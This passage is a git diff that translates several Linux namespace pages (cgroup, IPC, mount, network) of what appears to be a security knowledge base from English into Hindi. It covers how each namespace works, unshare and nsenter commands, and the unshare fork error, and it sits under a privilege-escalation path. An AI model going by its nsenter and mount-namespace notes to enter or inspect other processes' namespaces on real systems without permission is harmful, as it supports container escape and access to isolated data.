"unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसके परिणामस्वरूप, नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### जांचें कि आपका प्रक्रिया किस namespace में है ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces - +### सभी CGroup नामस्थान खोजें ```bash sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an CGroup namespace - +### CGroup namespace के अंदर प्रवेश करें ```bash nsenter -C TARGET_PID --pid /bin/bash ``` +आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/cgroup`)। -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). - -## References +## संदर्भ - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 14b23338a..16d5247be 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -4,81 +4,70 @@ ## Basic Information -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +IPC (Inter-Process Communication) namespace एक Linux kernel विशेषता है जो **system V IPC वस्तुओं** जैसे संदेश कतारें, साझा मेमोरी खंड, और सेमाफोर का **अलगाव** प्रदान करती है। यह अलगाव सुनिश्चित करता है कि **विभिन्न IPC namespaces में प्रक्रियाएँ एक-दूसरे की IPC वस्तुओं को सीधे एक्सेस या संशोधित नहीं कर सकतीं**, जो प्रक्रिया समूहों के बीच सुरक्षा और गोपनीयता की एक अतिरिक्त परत प्रदान करता है। ### How it works: -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. जब एक नया IPC namespace बनाया जाता है, तो यह **system V IPC वस्तुओं का पूरी तरह से अलग सेट** के साथ शुरू होता है। इसका मतलब है कि नए IPC namespace में चल रही प्रक्रियाएँ डिफ़ॉल्ट रूप से अन्य namespaces या होस्ट सिस्टम में IPC वस्तुओं को एक्सेस या हस्तक्षेप नहीं कर सकतीं। +2. एक namespace के भीतर बनाई गई IPC वस्तुएँ केवल **उस namespace के भीतर की प्रक्रियाओं के लिए दृश्य और सुलभ होती हैं**। प्रत्येक IPC वस्तु को अपने namespace के भीतर एक अद्वितीय कुंजी द्वारा पहचाना जाता है। हालांकि कुंजी विभिन्न namespaces में समान हो सकती है, वस्तुएँ स्वयं अलग हैं और namespaces के बीच एक्सेस नहीं की जा सकतीं। +3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके namespaces के बीच स्थानांतरित हो सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए namespaces बना सकती हैं जिसमें `CLONE_NEWIPC` फ्लैग होता है। जब एक प्रक्रिया एक नए namespace में जाती है या एक बनाती है, तो यह उस namespace से संबंधित IPC वस्तुओं का उपयोग करना शुरू कर देगी। ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृश्य** रखता है।
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नई PID नामस्थान बनाने की प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### जांचें कि आपका प्रोसेस किस नेमस्पेस में है ```bash ls -l /proc/self/ns/ipc lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]' ``` - -### Find all IPC namespaces - +### सभी IPC नामस्थान खोजें ```bash sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside an IPC namespace - +### IPC नामस्थान के अंदर प्रवेश करें ```bash nsenter -i TARGET_PID --pid /bin/bash ``` +आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/net`)। -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -### Create IPC object - +### IPC ऑब्जेक्ट बनाएं ```bash # Container sudo unshare -i /bin/bash @@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status # From the host ipcs -m # Nothing is seen ``` - -## References +## संदर्भ - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md index 7cdc2cf0d..c06572d8d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md @@ -4,68 +4,61 @@ ## Basic Information -A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy. +एक माउंट नेमस्पेस एक Linux कर्नेल फीचर है जो प्रक्रियाओं के एक समूह द्वारा देखे जाने वाले फ़ाइल सिस्टम माउंट पॉइंट्स का पृथक्करण प्रदान करता है। प्रत्येक माउंट नेमस्पेस के पास अपने स्वयं के फ़ाइल सिस्टम माउंट पॉइंट्स का सेट होता है, और **एक नेमस्पेस में माउंट पॉइंट्स में परिवर्तन अन्य नेमस्पेस को प्रभावित नहीं करते**। इसका मतलब है कि विभिन्न माउंट नेमस्पेस में चलने वाली प्रक्रियाएँ फ़ाइल सिस्टम पदानुक्रम के विभिन्न दृश्य रख सकती हैं। -Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system. +माउंट नेमस्पेस कंटेनरीकरण में विशेष रूप से उपयोगी होते हैं, जहाँ प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से पृथक अपने स्वयं के फ़ाइल सिस्टम और कॉन्फ़िगरेशन होना चाहिए। ### How it works: -1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces. -2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy. -3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace. -4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points. +1. जब एक नया माउंट नेमस्पेस बनाया जाता है, तो इसे **अपने पैरेंट नेमस्पेस से माउंट पॉइंट्स की एक प्रति के साथ प्रारंभ किया जाता है**। इसका मतलब है कि, निर्माण के समय, नया नेमस्पेस अपने पैरेंट के समान फ़ाइल सिस्टम का दृश्य साझा करता है। हालाँकि, नेमस्पेस के भीतर माउंट पॉइंट्स में किसी भी बाद के परिवर्तन का प्रभाव पैरेंट या अन्य नेमस्पेस पर नहीं पड़ेगा। +2. जब एक प्रक्रिया अपने नेमस्पेस के भीतर एक माउंट पॉइंट को संशोधित करती है, जैसे कि फ़ाइल सिस्टम को माउंट या अनमाउंट करना, तो **परिवर्तन उस नेमस्पेस के लिए स्थानीय होता है** और अन्य नेमस्पेस को प्रभावित नहीं करता। यह प्रत्येक नेमस्पेस को अपने स्वयं के स्वतंत्र फ़ाइल सिस्टम पदानुक्रम रखने की अनुमति देता है। +3. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच स्थानांतरित हो सकती हैं, या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बना सकती हैं जिसमें `CLONE_NEWNS` फ्लैग होता है। जब एक प्रक्रिया एक नए नेमस्पेस में जाती है या एक बनाती है, तो यह उस नेमस्पेस से जुड़े माउंट पॉइंट्स का उपयोग करना शुरू कर देगी। +4. **फ़ाइल डिस्क्रिप्टर्स और इनोड्स नेमस्पेस के बीच साझा किए जाते हैं**, जिसका अर्थ है कि यदि एक नेमस्पेस में एक प्रक्रिया के पास एक फ़ाइल को इंगित करने वाला एक खुला फ़ाइल डिस्क्रिप्टर है, तो यह **उस फ़ाइल डिस्क्रिप्टर को** दूसरे नेमस्पेस में एक प्रक्रिया को **दे सकती है**, और **दोनों प्रक्रियाएँ उसी फ़ाइल तक पहुँचेंगी**। हालाँकि, फ़ाइल का पथ दोनों नेमस्पेस में माउंट पॉइंट्स में भिन्नताओं के कारण समान नहीं हो सकता है। ## Lab: ### Create different Namespaces #### CLI - ```bash sudo unshare -m [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलगावित दृश्य** रखता है।
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं। +- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं। +- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा। -2. **Consequence**: +2. **परिणाम**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसके परिणामस्वरूप, नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है। -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **समाधान**: +- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है। +- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं। -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### जांचें कि आपका प्रक्रिया किस namespace में है ```bash ls -l /proc/self/ns/mnt lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]' ``` - -### Find all Mount namespaces - +### सभी माउंट नामस्थान खोजें ```bash sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace @@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` - -### Enter inside a Mount namespace - +### एक माउंट नेमस्पेस के अंदर प्रवेश करें ```bash nsenter -m TARGET_PID --pid /bin/bash ``` +आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/mnt`)। -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`). - -Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it. - -### Mount something +क्योंकि नए माउंट केवल नामस्थान के भीतर ही सुलभ होते हैं, यह संभव है कि एक नामस्थान में संवेदनशील जानकारी हो जो केवल उसी से सुलभ हो। +### कुछ माउंट करें ```bash # Generate new mount ns unshare -m /bin/bash @@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq vmware-root_662-2689143848 ``` - -## References +## संदर्भ - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) - [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index 8ab89ce7f..46523f7d4 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -1,86 +1,76 @@ -# Network Namespace +# नेटवर्क नेमस्पेस {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system. +एक नेटवर्क नेमस्पेस एक Linux कर्नेल फीचर है जो नेटवर्क स्टैक का पृथक्करण प्रदान करता है, जिससे **प्रत्येक नेटवर्क नेमस्पेस अपनी स्वतंत्र नेटवर्क कॉन्फ़िगरेशन** , इंटरफेस, IP पते, रूटिंग तालिकाएँ, और फ़ायरवॉल नियम रख सकता है। यह पृथक्करण विभिन्न परिदृश्यों में उपयोगी है, जैसे कंटेनरीकरण, जहाँ प्रत्येक कंटेनर को अन्य कंटेनरों और होस्ट सिस्टम से स्वतंत्र अपनी नेटवर्क कॉन्फ़िगरेशन होनी चाहिए। -### How it works: +### यह कैसे काम करता है: -1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default. -2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container. -3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems. -4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace. +1. जब एक नया नेटवर्क नेमस्पेस बनाया जाता है, तो यह **पूर्णतः पृथक नेटवर्क स्टैक** के साथ शुरू होता है, जिसमें **कोई नेटवर्क इंटरफेस** नहीं होता सिवाय लूपबैक इंटरफेस (lo) के। इसका मतलब है कि नए नेटवर्क नेमस्पेस में चलने वाली प्रक्रियाएँ डिफ़ॉल्ट रूप से अन्य नेमस्पेस या होस्ट सिस्टम में चलने वाली प्रक्रियाओं के साथ संवाद नहीं कर सकती हैं। +2. **वर्चुअल नेटवर्क इंटरफेस**, जैसे veth जोड़े, बनाए जा सकते हैं और नेटवर्क नेमस्पेस के बीच स्थानांतरित किए जा सकते हैं। यह नेमस्पेस के बीच या एक नेमस्पेस और होस्ट सिस्टम के बीच नेटवर्क कनेक्टिविटी स्थापित करने की अनुमति देता है। उदाहरण के लिए, एक veth जोड़े का एक सिरा एक कंटेनर के नेटवर्क नेमस्पेस में रखा जा सकता है, और दूसरा सिरा होस्ट नेमस्पेस में एक **ब्रिज** या अन्य नेटवर्क इंटरफेस से जोड़ा जा सकता है, जिससे कंटेनर को नेटवर्क कनेक्टिविटी मिलती है। +3. एक नेमस्पेस के भीतर नेटवर्क इंटरफेस के **अपने IP पते, रूटिंग तालिकाएँ, और फ़ायरवॉल नियम** हो सकते हैं, जो अन्य नेमस्पेस से स्वतंत्र होते हैं। यह विभिन्न नेटवर्क नेमस्पेस में प्रक्रियाओं को विभिन्न नेटवर्क कॉन्फ़िगरेशन रखने और ऐसा कार्य करने की अनुमति देता है जैसे कि वे अलग-अलग नेटवर्क सिस्टम पर चल रही हैं। +4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नेमस्पेस के बीच स्थानांतरित हो सकती हैं, या `CLONE_NEWNET` फ्लैग के साथ `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नेमस्पेस बना सकती हैं। जब एक प्रक्रिया एक नए नेमस्पेस में जाती है या एक बनाती है, तो यह उस नेमस्पेस से संबंधित नेटवर्क कॉन्फ़िगरेशन और इंटरफेस का उपयोग करना शुरू कर देगी। -## Lab: +## प्रयोगशाला: -### Create different Namespaces +### विभिन्न नेमस्पेस बनाएं #### CLI - ```bash sudo unshare -n [--mount-proc] /bin/bash # Run ifconfig or ip -a ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +`/proc` फ़ाइल सिस्टम के एक नए उदाहरण को माउंट करके यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
-Error: bash: fork: Cannot allocate memory +त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि का सामना करता है। मुख्य विवरण और समाधान नीचे दिए गए हैं: -1. **Problem Explanation**: +1. **समस्या का विवरण**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as 